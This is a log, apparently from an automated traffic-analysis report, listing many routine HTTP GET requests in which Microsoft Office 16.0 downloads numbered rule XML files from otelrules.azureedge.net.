Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
